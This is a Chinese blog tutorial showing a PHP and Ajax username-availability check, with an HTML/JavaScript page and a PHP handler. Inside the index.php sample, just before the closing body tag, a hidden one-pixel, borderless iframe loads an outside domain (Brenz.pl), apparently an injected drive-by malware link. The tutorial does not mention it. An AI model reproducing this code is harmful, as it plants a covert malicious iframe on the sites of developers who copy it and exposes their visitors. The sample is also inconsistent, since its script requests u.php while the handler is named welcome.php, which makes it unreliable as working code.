怎么在PHP中使用Ajax实现一个登录验证功能

发布时间:2021-02-07 20:48:44 作者:Leah
来源:亿速云 阅读:140

怎么在PHP中使用Ajax实现一个登录验证功能?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe  src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

推荐阅读:
  1. php+ajax实现登录验证
  2. 怎么在小程序中实现登录验证功能

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php ajax

上一篇:粟PHP怎么删除数据库中多列重复的数据

下一篇:使用PHP怎么实现一个SSO单点登录功能

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》